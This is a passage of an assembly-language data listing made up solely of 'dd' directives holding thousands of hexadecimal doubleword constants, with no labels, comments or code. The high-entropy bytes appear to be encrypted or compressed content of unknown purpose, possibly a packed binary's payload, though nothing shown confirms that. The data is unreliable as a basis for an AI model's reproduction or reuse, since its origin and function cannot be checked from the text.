5D2AB5F8h, 18E22592h, 0EF8E0593h dd 0AAB664E5h, 0B566F69Dh, 0ECCA48B0h, 2865B901h, 81744A3Eh dd 312E5920h, 1AEE798Eh, 0F1B62AAEh, 31C224Bh, 54641275h dd 0A55927D2h, 80124F00h, 3CC5CB7h, 0CD110717h, 3EE09AD8h dd 509F9327h, 0FE604AF4h, 161BD33h, 312050B2h, 2B2EB1BDh dd 9004F474h, 0EE131A79h, 5602390Bh, 43735A5Ch, 0BE0DC650h dd 2D95C1B9h, 91FC0417h, 5C682F1Bh, 41EC0F12h, 1DAC32BDh dd 0FE75008Ch, 961F40BBh, 0FB5FD4C5h, 53DEC0C1h, 0BD1202Fh dd 48079FBBh, 0D6305267h, 0B1E86450h, 0D3F20B8Eh, 0F1DB5B4Dh dd 50427BA5h, 0F9A09C3Ch, 80021696h, 0B75055CBh, 7DA9CA03h dd 873D57B7h, 0B0EC698h, 493AE750h, 0AC124B21h, 4ABBC07Dh dd 0AC63716Eh, 0ADFC4AA6h, 1AB9D2F6h, 2C0150A8h, 88D076A5h dd 0DB404F46h, 0B5F02FC7h, 7327A36Fh, 0C8F55969h, 0E055765h dd 5067D780h, 210027B2h, 3B795266h, 4202EE94h, 3C73C677h dd 0B7ADAB14h, 1C742FD3h, 9CEBDA0Ah, 0E409DFC9h, 0D51632D7h dd 105667BAh, 5649626Bh, 56BC530Dh, 0B6D32BA9h, 738CA46Dh dd 0C6A4275Eh, 0BA62A5CAh, 11FFB47Fh, 2712E98Dh, 2F705C13h dd 0B40026B7h, 65E55DB9h, 0BB9C024Ch, 2FB2DA38h, 59E238D6h dd 0A27D0B2Bh, 56112137h, 2CC0EBFEh, 11977B70h, 26101203h dd 3C000D9Fh, 0BAA0FAEEh, 1E0B00Ah, 905FC2F8h, 6BFD1350h dd 0B9D4DBF2h, 7A74EB2Fh, 4D25E92Ch, 3292C08Bh, 990573B9h dd 1ED1BD2Bh, 6ADB5802h, 1A5B64F9h, 0E3B62EFh, 31F46C77h dd 33EAD8B7h, 134D78D4h, 7E451DB5h, 9BFAC083h, 5631C05Fh dd 0E84737C8h, 0CBA80116h, 99BD23BCh, 0A7422E0Ch, 7F0D8D0Fh dd 72B57438h, 0ED54F902h, 665A6D29h, 0CA4C0086h, 23C7ECF8h dd 65E88E2Ch, 2E64560Fh, 0A5B90AC4h, 780CDBADh, 0AD0057EAh dd 7F40DB82h, 4BDF8BB3h, 0C092DB6Ah, 0BAE7F977h, 84744B67h dd 756FFAD1h, 87F17805h, 4AE34409h, 0D3FFACA5h, 3603F0A2h dd 0DF088802h, 0C280C0CBh, 8F00FA97h, 5D91D5B7h, 7B820Dh dd 0C6CB81AFh, 5B497529h, 0D60F2B97h, 2E00F449h, 2DFBB2DEh dd 220FD86Ch, 0E6BD068Fh, 22FB085h, 4B7B84D3h, 427FD1FFh dd 5120566Bh, 81651782h, 13ED158Ch, 0B8279391h, 272920DDh dd 64D026Ah, 5B12D7C9h, 4E78AEC0h, 250B904Ch, 84E6590Ah dd 165731BFh, 0A0F640ABh, 906B0294h, 0E0780A93h, 2709E04Dh dd 1F5EF535h, 0A9B71013h, 5D26033Eh, 0AB6C4481h, 413DB338h dd 0A4DB2AD4h, 798A7480h, 0A409BF43h, 0A44C8314h, 0BB0032BCh dd 730D70F8h, 0D7151A97h, 0BCC6DE80h, 2B0233BBh, 0B3505BDEh dd 7CBA4248h, 0F00BDEADh, 0D539AD6Ch, 9121AE94h, 98C4690Bh dd 0AB135600h, 5A39DACDh, 0FFF0015Eh, 1A22CFB0h, 0DDD08B92h dd 0EC5D560Fh, 450F1DC4h, 0B66A48E0h, 20EC16Fh, 88281048h dd 9ABFD18h, 95F9769Dh, 64423859h, 55F0901h, 34AB24F2h dd 14C78233h, 0A0DF6FB2h, 0D95F81A1h, 742800EBh, 0B1064BF1h dd 717FE47Ch, 161DBD12h, 303016E3h, 9EF78069h, 0B0133B97h dd 3DBC1B3Ch, 6908ADAFh, 186961C4h, 9D4424h, 28E58E7Ah dd 9E2399BEh, 737B7600h, 0C7BFC543h, 0A46E07DCh, 345BFA8Bh dd 0B395E0C1h, 2B82234Bh, 0CD6EC960h, 5D1A207Fh, 0D0093EAh dd 0D217F168h, 724C5F0Eh, 504F04FEh, 0B8612F98h, 22204F3Ch dd 0F5A7117h, 79907E26h, 0E4CC7B82h, 0D1E961F5h, 2995A741h dd 0DCC13102h, 78982B0Bh, 3C7E9533h, 210B68ACh, 0E998D50Fh dd 0D925B501h, 943CC423h, 4EF54063h, 62000917h, 56A39BEBh dd 1DFB23Ah, 0BE261A9Eh, 20A9AB8Fh, 64091E3h, 9529095Fh dd 1E5C148Dh, 0B412764h, 1215319Dh, 0CE8235Bh, 0F2A0B00h dd 0FC695236h, 3CD6007Ch, 604FC0E9h, 9275957h, 4B40F28Dh dd 0B535AB61h, 5ADBD6A0h, 0A0A0AC21h, 1291BB57h, 0AB2EB2D7h dd 20E1A104h, 0C3DBC58h, 0A9D93181h, 95374A7Bh, 85294295h dd 9455C542h, 3C092034h, 445E298h, 5EF6A720h, 0B518C85Eh dd 9AC93500h, 29B83E26h, 457F0982h, 857E6A41h, 0DC6B17DEh dd 5E24F2D2h, 0BC8C7E20h, 3AAC002Eh, 7B72CF80h, 3602AF3Fh dd 0DAAED532h, 9604DDDCh, 125D141Dh, 0F5269BDh, 0A9D242ADh dd 0A03FA8ABh, 14EE9EF2h, 0A3500664h, 5F6DC172h, 2A086CB9h dd 7D09577Ah, 3004F25Ch, 0DEB05235h, 0BD36E5F8h, 16F506F0h dd 0D7564D29h, 828A8F80h, 4377662h, 89FED335h, 2B5780E5h dd 680EBBC0h, 0E246450Ah, 5CF98BD2h, 0ED627A83h, 2DCDE56h dd 8D01AABDh, 8E5C2A95h, 7E0D50CBh, 0B059BDBDh, 9180054h dd 4B7A083Dh, 8E250F11h, 80B15B1Ah, 23CD6A9Ch, 0FE00C032h dd 0DF188258h, 17ED38A4h, 0A0BE5085h, 1A975BCFh, 8618C17Bh dd 9B168826h, 0B882AC1Dh, 0FE52CB60h, 8073B77Dh, 0FDD57B40h dd 0A32CD9A7h, 0D569270Ch, 455D69CAh, 8F65A5E4h, 4F2F751Ch dd 0C47749AEh, 0BFB8705Fh, 4B601F6Fh, 24EDCD64h, 8DF0A08h dd 0C310171h, 9D2B1C4Dh, 0B9203BBBh, 5F6907h, 3ED0DCF1h dd 44BC02A2h, 0A78BD800h, 0C08EAF87h, 0FFAA09BAh, 8071F5E1h dd 9EEB2F44h, 16E4C12Eh, 0A03F2ADEh, 1B410DAAh, 5CFAF002h dd 0A514519Ah, 0DE72DE6Ch, 0FABB8800h, 0F54D3EBh, 8A3F25B0h dd 0AC1097C5h, 1996AD7h, 7D7F2AB7h, 226F8987h, 6CD76035h dd 0DEB7253Ch, 0BD3187C0h, 64B517E6h, 0F7810BA1h, 5F09E91Fh dd 1D457F5Ah, 55F6C521h, 47EE8C0Bh, 478E4DBDh, 0A3DBC079h dd 0D4BC1F0h, 3A504A8Ch, 4709BB51h, 0E57C6D9Ah, 245D76AFh dd 9D236228h, 0FE54A8E2h dd 0E652AAFBh, 0F2519F70h, 0B26E140h, 0C4070954h, 0BD48877h dd 0B51EC9h, 0B0D2991Fh, 68E5D18h, 0F83DE5Bh, 0D4BF808Bh dd 5C33247Ch, 8A0F429Ah, 0C4980644h, 0A063174Ch, 19B1EDh dd 0F385CE32h, 98FD8CFBh, 918B5200h, 5F6B7DBBh, 90B79F58h dd 0B6A87B00h, 7113DD84h, 4BC59598h, 97361E50h, 9D333818h dd 45171D22h, 96826ADFh, 0A86D5507h, 0D96714E4h, 73970D70h dd 699BD823h, 90097090h, 706C7E4Eh, 914FBF2Ah, 43819664h dd 9D2B05A1h, 12F5DA22h, 0FBB4E051h, 609AB773h, 93BD4861h dd 44AE613Bh, 29074121h, 2A4536B8h, 416FCD12h, 6D712000h dd 0C896E813h, 81FDF714h, 31A917D3h, 6F1F60EFh, 3D00C716h dd 4AB054E6h, 491E2D6h, 8B51964Ch, 67D3EBFBh, 0B1A8CDD9h dd 0AB560B25h, 0F1646DEh, 0C12F2E91h, 0E4174CCFh, 0A0EE45EAh dd 0A1C124A7h, 0C9AE69F2h, 4E8A1DF8h, 0DA0D8954h, 0F7805809h dd 0B5DB583Fh, 5ED9615Bh, 4420BF4h, 0E29EB7B2h, 0DEF2EA49h dd 4A5A8D00h, 651DA848h, 0D9FC741Eh, 587C7E42h, 5E34E020h dd 4B4282A6h, 0C283CC41h, 0B73C462Bh, 7DB74B83h, 0B7900E24h dd 1327F22Fh, 0A6E4F380h, 301CB223h, 0FA015B4Bh, 0CAE2798Bh dd 827ACBBEh, 61002EB6h, 5AFDBD33h, 0B542B922h, 0E1A1E2E6h dd 0EF827E42h, 71515C28h, 20DE7F2Bh, 0BF660EC4h, 0B72C50F2h dd 4B7D2067h, 0B96A8EFCh, 5398202Ah, 0E4025DDEh, 83CA1999h dd 887140AAh, 0EDD7A02Eh, 5759951Ch, 5B4BE4C7h, 0C833D049h dd 0BDB64A50h, 0EF925D5Fh, 6CD796DAh, 4D2A5BB0h, 0E0E89197h dd 5FE00337h, 1097BA80h, 22A65B7h, 637CD785h, 0B7559C28h dd 801D11D1h, 572732A8h, 0DFF104A0h, 0F2DBBCC7h, 0F20078C3h dd 6A737492h, 5AC6CA1Ah, 0C5F5AD28h, 70AB1B49h, 43C3819Ah dd 13A1E25Eh, 0EC2760C5h, 2A425F25h, 0E31F9F3h, 7B3E6995h dd 96E53D0Bh, 10BA89A3h, 893E85Dh, 0F0A4111Eh, 0FC628060h dd 499748Fh, 0B390989Bh, 915EB9BFh, 3DF30017h, 9E822E7Ah dd 4C753EC7h, 0E3633292h, 8F84A6Fh, 4316E910h, 8DF400DDh dd 0D090DF64h, 89F90B42h, 0DFF49195h, 5DE36192h, 80F4DBD7h dd 0ADDE630Ah, 33B74C83h, 0D1208112h, 2E0B5544h, 200D8432h dd 93537775h, 88F3C400h, 0AA5C9513h, 0B58C48E5h, 0E4897912h dd 0FAA12979h, 79722E31h, 0D66E5CF8h, 0B0001746h, 0BBD70CDFh dd 0A6253BE5h, 0D08FFB64h, 0F0018DC8h, 7AFDE634h, 864148EEh dd 0CF22072Dh, 4E6BF396h, 0B52B95F0h, 5E7A2473h, 64BCC09Ah dd 0B85F592Ch, 5996210Bh, 57003BACh, 0B9399B49h, 9901ABBFh dd 505F7722h, 8C7A820Fh, 965BDF1Bh, 98004DF2h, 0A76F7E1Fh dd 0C052EB80h, 29204B65h, 1D1A07FAh, 429FA0C5h, 0F945A729h dd 0B6018960h, 9505B304h, 60B82D3Eh, 31B549DFh, 0EDBD6D68h dd 63B3194Ah, 0EA83188h, 3731317h, 0C06538A2h, 0EAC65288h dd 205AD58Bh, 871EE09Ah, 96FA6C0Eh, 9069C3EAh, 1028487Ah dd 0EA6EAEE4h, 450AE45Eh, 9746017h, 0D5058652h, 0DDEA06CDh dd 59E37F83h, 1D8D0904h, 0C09BAA33h, 3BC01BC8h, 7F8D8466h dd 16D02F74h, 0DD9A5282h, 86007E79h, 0A7A37A30h, 0CF1002Fh dd 8B604221h, 0F94A810Fh, 0E70299B6h, 2E66CB4Eh, 4E3B6B16h dd 81C5377Dh, 5B5AA431h, 87986DF8h, 71F99FBFh, 0DD8A89B6h dd 15F49672h, 9B922B46h, 921F8F56h, 25504B1Ch, 0AC78E912h dd 8CBF0087h, 8B51978Eh, 7A0D93C1h, 56E53077h, 3AFA5C8Bh dd 0B01CF5C7h, 0F1E7164Fh, 0C2E87425h, 0DF3DDFB2h, 3915DA5h dd 8B90DC71h, 0B350F91Eh, 0C17002E5h, 77308F30h, 0E9022BB1h dd 0B88B2402h, 0E3741081h, 3F78002h, 0B777C083h, 958A80E3h dd 0D84B634Dh, 0DF4E7872h, 0B23F52EEh, 0CCB80067h, 8FF90F93h dd 0DC300BCh, 49F14298h, 8D2D34ADh, 0C00BED90h, 86EE903Dh dd 0B2B73EC7h, 78D25B4Bh, 5B008CD9h, 7E429F35h, 587DC781h dd 7C4D81F9h, 14550825h, 0D4C296FBh, 0ACC1124Eh, 0A63A1986h dd 452375F3h, 59D4252Bh, 2657FD4h, 2BFF1109h, 2FD02EBh dd 2907E5F3h, 81444259h, 0C9CE9EABh, 0C5DD028Ah, 26A001Bh dd 11598D31h, 569016F0h, 502725A9h, 0FE7ED590h, 79A18E2Fh dd 44A48E4Bh, 112CE9C7h, 3F905B01h, 3B17B26Eh, 0BD2602B3h dd 0C4C51229h, 8448628h, 60999052h, 0E95F2765h, 16970F66h dd 0E37E2141h, 0B3181AF1h, 0F9673507h, 0BB60A777h, 4A052C72h dd 0B8FBA930h, 0B7C05A6Ch, 0AC8D4912h, 2AC95C21h, 0AD90DB16h dd 518110E7h, 0F7CE0B5Bh, 17FC2FD7h, 0B12CFEB1h, 61CE8BA0h dd 0DCF25C95h, 98A89D12h, 5A8FEEFCh, 0F52027h, 76976E21h dd 0CA0ED273h, 22CE0DD1h, 5C0A3C49h, 6EBFC09Fh, 14B0D68h dd 0F3A9E99h, 0AD920F62h, 0BCF9DC1h, 8149D2BDh, 40085452h dd 13C2E4F0h, 0DBC59700h, 0D353B79Dh, 0AA5F027Ch, 7E824E26h dd 9E57640h, 0AB23DD82h, 0BBC50BF5h, 0EC00376Fh, 2D8D5F95h dd 60C4753Eh, 0ABB81429h, 0E72A19A2h, 1C155508h, 1ADD25B0h dd 0BB0055DCh, 0F69725BBh, 71E47E01h, 17F5BD33h, 0F29E332Eh dd 23E1334Ah, 0FA9E102Bh, 0C0D6FC4Bh, 3FF78152h, 4FAF13B9h dd 1B5AB25Fh, 0F862910Dh, 4BB72ED2h, 0BB8D80D1h, 0D32FAC2Ah dd 80AE7138h, 0EE9B08E4h, 0A100459Fh, 4647A7CBh, 4B6FCA80h dd 29A28061h, 89BFEDB5h, 41C854E0h, 55F80DBh, 0B91B88EAh dd 57EF574Eh, 2E9AE055h, 902CC282h, 9D781EDh, 15E2F6B4h dd 2F9E7F70h, 0EC135140h, 6A3F0050h, 81B3F22Eh, 6EF8CFB5h dd 1608703h, 924F1BDh, 6D950954h, 5B619EA3h, 7EE84C4Eh dd 9B5B712Dh, 80047720h, 41E9F5D7h, 236B37EEh, 34AFF8Dh dd 0BC149F8h, 6A23F59Dh, 12E297D9h, 8D59E4Ah, 0FE04208Eh dd 5BC9BD31h, 7B431944h, 0F269E1C7h, 0C2605C79h, 60626372h dd 0B5E22A6Dh, 38515763h, 0B349601Ch, 8D2602FAh, 60A52A18h dd 1BEE5FE0h, 3751D600h, 0E5533126h, 4B7D01DBh, 0AC8374E2h dd 0FD012A58h, 369159BBh, 83257DAh, 7167384h, 73B928B9h dd 0CD38D027h, 16F5794Ch, 91AD1B61h, 4B6ABE96h, 0CB807C02h dd 987BFC5Eh, 8D2970h, 0A6698C47h, 4E6C3B71h, 74C02B25h dd 15004E5Ch, 0C96785FAh, 46BD444Eh, 3584893h, 7DD22B89h dd 3F011837h, 927C5828h, 8503EC2Ah, 48174B7h, 0DB6AABB3h dd 0F07B43C3h, 1407E56h, 0EEACA2F8h, 2146B76Ah, 107223h dd 49D10E6Ch, 0D9CF4Dh, 1443343Bh, 29F122C4h, 0BA66790Fh dd 89618403h, 0DEA8E5EAh, 21D621A0h, 0DA057364h, 4F3FDBAFh dd 32C9AEC0h, 0B277259Eh, 0FC5EAFC4h, 899D58ADh, 0EA563139h dd 509DD35Ah, 5995B41Ch, 0FE6D7A02h, 31ADC560h, 17E93295h dd 2AF7BDBDh, 0E307FF10h, 0BFC184C2h, 66F97202h, 0A578282Eh dd 6FEF50D3h, 0EE840F04h, 64C6AE72h, 0F4CC01ECh, 0DA7A00C1h dd 8DA1AF80h, 40056B4Fh, 0D99D31EFh, 0EEE15894h, 0E4E8A869h dd 0FCBC916h, 0DAD63DB9h, 5EEB84A0h, 9B8418FBh, 0F8ADE1FFh dd 5CA43DE2h, 588753A8h, 4AB3582Dh, 8D1FE332h, 0F2E2708h dd 0E2F269F7h, 55C08965h, 0E88066BDh, 2CDE40F4h, 5E3D983Bh dd 4E2BFDC9h, 3FE020B6h, 8A185F9Ch, 0A64897F2h, 41109F60h dd 0C909B553h, 50E771Ah, 52BE8DD4h, 6694B10Dh, 0A999F091h dd 58730BA2h, 8809C9E1h, 9D23A1B0h, 0C42BE525h, 403394BEh dd 21EDBCA1h, 4E00C7F0h, 70E7DF51h, 179EE33Ch, 12B1E2B6h dd 4FD4AA3Ch, 5222D5ADh dd 74C38102h, 14793EBFh, 0AD607BCh, 0F8ECE5CAh, 43D70CF8h dd 0D94BB76Eh, 9EAFDB94h, 0B21F8797h, 5059C710h, 9E405BB3h dd 350FC00Dh, 0FACD059Bh, 0C01A4EB0h, 4CF7816Fh, 19F01000h dd 0FE127168h, 0BC789F78h, 5BBAE808h, 0BF66000Dh, 585A4B51h dd 8E1D4095h, 78E12D11h, 4B7008FBh, 5E890E39h, 1EE97765h dd 0B9A402FFh, 0D5B77F07h, 0C9801A91h, 0E8E6B91Fh, 9012532Dh dd 311B80h, 3B613C0Eh, 6F87E77Ch, 9001B600h, 81DD5202h dd 5AA327BFh, 8DC58656h, 5285DEA8h, 0A15DA702h, 0E63B7DBBh dd 0E19D12C8h, 0D1627597h, 0FE65D528h, 0C2228917h, 0CD6653h dd 0F73543A3h, 554AF9E0h, 63C6509h, 2F06795Bh, 18DEFFFCh dd 90344886h, 0CE952C71h, 0E59A9531h, 8D3A3077h, 0AC2AEFBDh dd 9FE99290h, 7B0255A8h, 0AAB7AEE8h, 0BEAD54Eh, 4D7FD3A9h dd 0FF01E5CEh, 56E54A1Eh, 1D46D452h, 0B00EBC5Bh, 6BD1BD29h dd 9DD15C1Dh, 0DE908D00h, 95387Ch, 0D0273573h, 96B91A53h dd 0E3E852h, 656E5F60h, 3CD0F07h, 0C6E07EF6h, 50E1C0B3h dd 0B8EE2996h, 25CD018Ch, 0F9E4BDDBh, 3E352F46h, 2E07D96Fh dd 0D0427D70h, 0E4B11E02h, 53E9497h, 0F6ED33BBh, 0A21CAE51h dd 0D6694BB7h, 0EBB964B8h, 11DCCCh, 0EAAA3B07h, 9CA00CBAh dd 0D11AEE25h, 0D7C3882Bh, 50174676h, 924E7978h, 0D2B38302h dd 22ED4C8Dh, 0F8250187h, 63BE5690h, 0C63E79B3h, 88FD5FFAh dd 8824C6B8h, 31093C6Ch, 88305D32h, 0EC00F10Fh, 79C878Eh dd 5EE1FC5Ch, 925BEC45h, 15B261E6h, 4B0A2D30h, 0E0B3E661h dd 1126246h, 697C6595h, 7C132C76h, 7B87124Ch, 95339EABh dd 39AF4F53h, 0E7A63AB0h, 29A585C2h, 589FB316h, 7A0B6D2Eh dd 5CE152FEh, 0ED4B774Ch, 32C2402Dh, 373A7709h, 4573A4FCh dd 5E02A50Bh, 0FE97F480h, 0CDBB401Fh, 11793349h, 882BE595h dd 253B0499h, 50B9F68Ah, 0A1385F59h, 0D4E1805Dh, 0B56EAFE7h dd 458B1706h, 0D8A409C5h, 6F270716h, 0D093FB04h, 0CD7EB06Dh dd 0AA270F01h, 36B77F9Eh, 60E1332Ah, 395BEBF8h, 61324D25h dd 0DA2B61CEh, 0C01BC833h, 0A7C270CDh, 0F91DD409h, 0F86B82EDh dd 6C295E02h, 0C6121EF4h, 9AF31FA6h, 0BD0D4248h, 3A801A1Dh dd 8E88F46h, 47ABA63h, 8FD1DC80h, 80A6AD5Fh, 89128E11h dd 397E0261h, 74DC3586h, 6B0E771Ah, 0FA507493h, 28D04E70h dd 0EA6A05E3h, 629264FAh, 525D299Bh, 0D5359702h, 0CF821691h dd 0E1F721B6h, 5DC211D6h, 290045ECh, 39100730h, 948B5D0h dd 5FAB969Dh, 6C27D051h, 91E6172Bh, 19AD4961h, 0B3551657h dd 6A5A58E2h, 0B7EF9997h, 4E51AE24h, 0D6F4AD10h, 2F008EF2h dd 0AE5DF8D1h, 4E00E912h, 0DE6E3643h, 9251B509h, 365B4F9Dh dd 35285461h, 0CD690623h, 0ADD27071h, 112BE045h, 930B5929h dd 505E3A6Ah, 0E17FD24Fh, 0B5A1CBE4h, 2D522A59h, 2904E6E3h dd 0AF121995h, 1A23596Fh, 0D7E55700h, 5F4BEC5Ch, 38182033h dd 0D00B737h, 8CC25F64h, 33DC1Ah, 47894075h, 0B2C4EC8h dd 6FBFF84Fh, 36ED00ECh, 70937F60h, 784D0FE8h, 688181F7h dd 2F251746h, 20129E62h, 0E160F89Eh, 76890100h, 8FBDDC0Ch dd 0D8BF02B0h, 0EC7A0B3Ch, 201ACE55h, 0DBAA0DB1h, 1F401B74h dd 0F8F0A907h, 7B293E33h, 4CFBB309h, 5356DE01h, 0A5857F5Bh dd 5B4B7BABh, 0EF0C9AB1h, 82B949B5h, 0AA78AC5Ah, 0B3F0C200h dd 827D309Fh, 0BAE18B05h, 8AFB8D0Fh, 10BC5F89h, 0AD956A02h dd 0B5576548h, 8018918Dh, 4A0F0E02h, 0E8895BEBh, 1FAB9704h dd 4D47A7B6h, 32626E11h, 0BF000CD9h, 32CD30A8h, 1E249646h dd 0C21A5F2Bh, 0FB408ED6h, 22A387h, 0B8F103E6h, 0CFC593E2h dd 6F446105h, 21FFBD8Dh, 2A96FE7Dh, 23F053E6h, 10167AD7h dd 8ABCC672h, 3B294571h, 0E00BC123h, 4AD1167h, 494ECF8Ch dd 0AC8AE9BCh, 0D2018C1Dh, 2D7F5A10h, 23FCB628h, 8182C41Bh dd 0CF2AA1Eh, 0A9F4BD93h, 511C39E8h, 23C5C4C6h, 0AE964722h dd 69F1C852h, 0A009A73Bh, 44D80C8h, 0B57EC520h, 0A286E896h dd 6C822B39h, 61747295h, 1CBF616Fh, 9E2EC6D2h, 4A3880ACh dd 5D58922Eh, 1E25BEE6h, 84491AD3h, 0E9012E9Ch, 0C6FFF194h dd 0B0411BFDh, 9F8D31C1h, 0E225827Ch, 0D64FDD3Bh, 0DC483E60h dd 7E616299h, 90022D31h, 0EB8C650h, 0F8C69AE9h, 1E3A2A20h dd 5FE86639h, 0DB819001h, 4B056508h, 9D0480AFh, 2118209h dd 0F4B55182h, 408C4FD5h, 0EBECFC79h, 70223D05h, 4F82BE21h dd 781A559Dh, 0E1B24D7Fh, 0D4CA0391h, 0F028EDE5h, 71B582D4h dd 7E7E254Eh, 1D0A804Ah, 0C649B408h, 28237E79h, 7D0E1BFDh dd 8E0F12B3h, 9EA71Eh, 4BDB2B4Fh, 0E8C78450h, 7863000Ch dd 6134E13Dh, 0B137343h, 53EA8509h, 218DFB59h, 0BDDC73Ah dd 11211457h, 931CDDB5h, 0FEA478A6h, 0B95E3CF6h, 0D66FA704h dd 0C801EFDh, 0F5026A3Ah, 10BD1C90h, 734370Dh, 0A8DEAEFh dd 179AE049h, 0A87685B5h, 0F85C6304h, 0A2AA69BEh, 5E4B0085h dd 9E40D37h, 50E10001h, 0A6B43F5Ah, 6FE35F16h, 0B9660B41h dd 50785DD8h, 0E02F3080h, 6B4D8341h, 2C9D5ADBh, 0DB900693h dd 20E88121h, 0C620E956h, 0F9245FADh, 12CAD480h, 28BE11EDh dd 2CF69D19h, 959CE980h, 0BF1282E7h, 9BFA9012h, 93D0806Dh dd 4CA130B3h, 531D59C8h, 0DEBB05F3h, 7CAEBFEh, 289569A1h dd 26CF80ACh, 0C7E8919h, 461F3091h, 1C40CDE2h, 4FB72550h dd 5E3DD7h, 89FFBF6Dh, 61098FD4h, 0D3640684h, 64E82D0Ah dd 7195859Dh, 11BB604Dh, 584E0FDDh, 329E0E95h, 147CDAC0h dd 801775AFh, 0DD3058DBh, 39BAC4ECh, 1FCDE26h, 322FD27Eh dd 93FF6A74h, 21EF399Ch, 7F2EADA2h, 5DDE9A49h, 0B19727E4h dd 80101303h, 0B0709BDFh, 0A2E2895Fh, 5A70E61Ah, 0E42FDFC4h dd 0DF368271h, 90FE5EA1h, 0C8B684F1h, 0BB80F8BCh, 191ED9ABh dd 48C421B0h, 0CCEA0955h, 488812B0h, 0AE030095h, 34B445D8h dd 0D400024Ah, 5C9ADF8Eh, 970E0881h, 0E9B3E387h, 44DD9885h dd 8CC82BB2h, 0B69079E5h, 0D70063E6h, 0A4AE77BAh, 5ABCB2D9h dd 9BBCE014h, 0D1541B9Dh, 0F24D0185h, 3FB2B57Ah, 26FABA65h dd 6BE11EE7h, 0C16FAA9Dh, 11B7980h, 68F69531h, 972961A6h dd 0E98DFCDEh, 352E335Ch, 80C0A8DFh, 28A61EF1h, 0F9C412E9h dd 25E0F25Fh, 0D6EAB840h, 2E6600F5h, 0CC7C72B6h, 940B08B7h dd 0D4BD0BC5h, 0F65F92C5h, 0A1D050F3h, 1A0BF50h, 0DECEB5h dd 6CAD7160h, 4D0EB058h, 832DCE73h, 89C2734Eh, 0FD7B739Ah dd 2783F3D0h, 2FFEB75Dh, 8B566081h, 0AC245195h, 990EC45Eh dd 0CEB1120Bh, 9F6A9B74h, 3E802AB7h, 9501F88Bh, 0F7124A2Dh dd 0FE065059h, 0EDFB913h, 3009AC21h, 0A6ED642Fh, 0F957A083h dd 0AC8A5EFCh, 5313D653h, 0AB12C5EEh, 44F7B312h, 74FB3BA0h dd 62C27895h, 0FAB7CB03h, 3178B55Eh, 1392785h, 1C5D1122h dd 0CB64CDF5h, 1249E738h, 0C1980A2Dh, 0B63AFE65h, 8CD30290h dd 31480779h, 0C6B96A33h, 0B26F8B4Bh, 0A72A301Dh, 763F0C1Dh dd 2E884842h, 40896AE0h, 1282E763h, 0F279B3FFh, 8147886Ah dd 8B20F780h, 1E24DFBh, 2B17E59Eh, 71209F9Dh, 0CF0B4B61h dd 0C01BC800h, 0A0DDAB43h, 0A9E9470Ch, 4EE55652h, 0E24DAC13h dd 9EA2AD0h, 0C79081Dh, 43AA55C9h, 0EB4BDE64h, 791223CAh dd 8250DE04h, 854AF562h, 1FC063BCh, 0B560A12Fh, 0F8C0A7EDh dd 0BC51083h, 0DA8AF36Eh dd 13A79818h, 89BAF39Fh, 60551571h, 1142C7B1h, 5A3A6C4Eh dd 5680F39Bh, 93286029h, 0C9A84B25h, 0EF0883F9h, 63AA291Ch dd 0F601223h, 0BDCFF6D6h, 51772273h, 0EFD9840h, 5F6B5A12h dd 893BE4E3h, 99184975h, 0BC0F204Eh, 0F1007AEEh, 0CF8D2191h dd 43E7019h, 4AAF5C2h, 7956FFA7h, 10E735A6h, 0C172EDFFh dd 325EE02h, 0F51A49BDh, 0DF6F9C30h, 1C3DB500h, 0E23225AAh dd 0FA41315h, 0D99DFE8Fh, 0AC2FD6F5h, 0ECFDD6A4h, 0B20086E8h dd 38C9F333h, 928F9FD8h, 952912EEh, 68D040FDh, 0D21E6B5Bh dd 81FA1CC5h, 98A48607h, 0C3B62E05h, 0BBD008E0h, 0AF7D2F05h dd 0C2AA601Dh, 66003051h, 5A34F9B9h, 0A828E261h, 0DDDA0169h dd 8509D619h, 61972B5Dh, 0F05FA1B9h, 0FEF68933h, 0E107FCEAh dd 0E9F91BD5h, 0F70B0147h, 8689F037h, 6D8D821Fh, 0DD82090Dh dd 0B75715A5h, 8186A334h, 7840FEF8h, 32312F70h, 0FC688E0Fh dd 85DDBBA4h, 0B621242Eh, 4CAAF0D9h, 49F5055Bh, 0C112CE89h dd 2FF284A5h, 0C9014834h, 384BB2FDh, 0C11BD12Bh, 0E2707B1Bh dd 13D7E381h, 577BE467h, 0B0E8B709h, 2709FDAFh, 645E7228h dd 8D337069h, 0BA3AE0B5h, 355C747Ch, 0EE11056h, 80539616h dd 0B7505F91h, 79F5879h, 0FC6AF133h, 5C11A90Bh, 0F2F3581Bh dd 14685F00h, 53A0BC48h, 0B95D04BBh, 935B3228h, 62D0EBC8h dd 854A8D5Fh, 58057BFFh, 869F28E3h, 2A2C692Dh, 0C43A672Bh dd 32E60973h, 4B9AFCA5h, 2DC46857h, 578E023Ch, 310F5B71h dd 14689075h, 0C65C0011h, 0A5D704DAh, 0A100C1CFh, 0DD80B8AFh dd 0B264237h, 5FF98B16h, 8ABBC768h, 7B90302Fh, 36B371F7h dd 81600021h, 0BE1AD4C2h, 0CBC5A007h, 0F25BE361h, 8EDF22C0h dd 5309A4B0h, 0E1E98D01h, 0CA2C5FF1h, 841D009Fh, 56C239B2h dd 95075B00h, 5AEC6B8h, 0FDF771A2h, 3FC83D2Eh, 0DD0FE86Ah dd 0ECA210FCh, 0B0E16273h, 57823E85h, 489C570Eh, 51A7385Eh dd 20AAFCB1h, 0F83F3E50h, 0C20D0080h, 54E727BFh, 8289691Bh dd 90556429h, 46CF8028h, 1D23BF06h, 7D8BD40Eh, 3C2F440h dd 9167242Dh, 0FF5E979Dh, 99824852h, 0F8BA665Bh, 0B1240247h dd 2AC1632h, 4450CB5Ch, 786FB704h, 20506740h, 0DF5612EEh dd 9B41492h, 3D7513B2h, 64938004h, 0DC32C795h, 694DEB09h dd 12F2DC25h, 0BC9FBD10h, 0C8258C1Ch, 694DF6A1h, 0AAB52784h dd 0A37A20E1h, 13295819h, 28AE19E5h, 5325BB18h, 0F325C277h dd 0F077DAB8h, 0FC3A020Dh, 43623127h, 84077955h, 0E098D9Dh dd 52BD8B57h, 300988Ah, 9E44BB60h, 8BB8101Dh, 0D29D58D6h dd 44B7BF5Bh, 963AB03h, 0BD39B006h, 5645970Ah, 4BFADB50h dd 5F30EE0Bh, 4EC0A082h, 0AC46B93Ah, 0CE058C14h, 9659D03h dd 252D8BEBh, 12D3C6DBh, 0E32EF780h, 9D3309CEh, 0F5BFC2F5h dd 189128B5h, 94DDF783h, 655C31D2h, 9645C240h, 223800E3h dd 61E1405Dh, 11011266h, 70DC9192h, 122EB69Bh, 0E0C9F6E8h dd 12B1CF15h, 0E1D8464Bh, 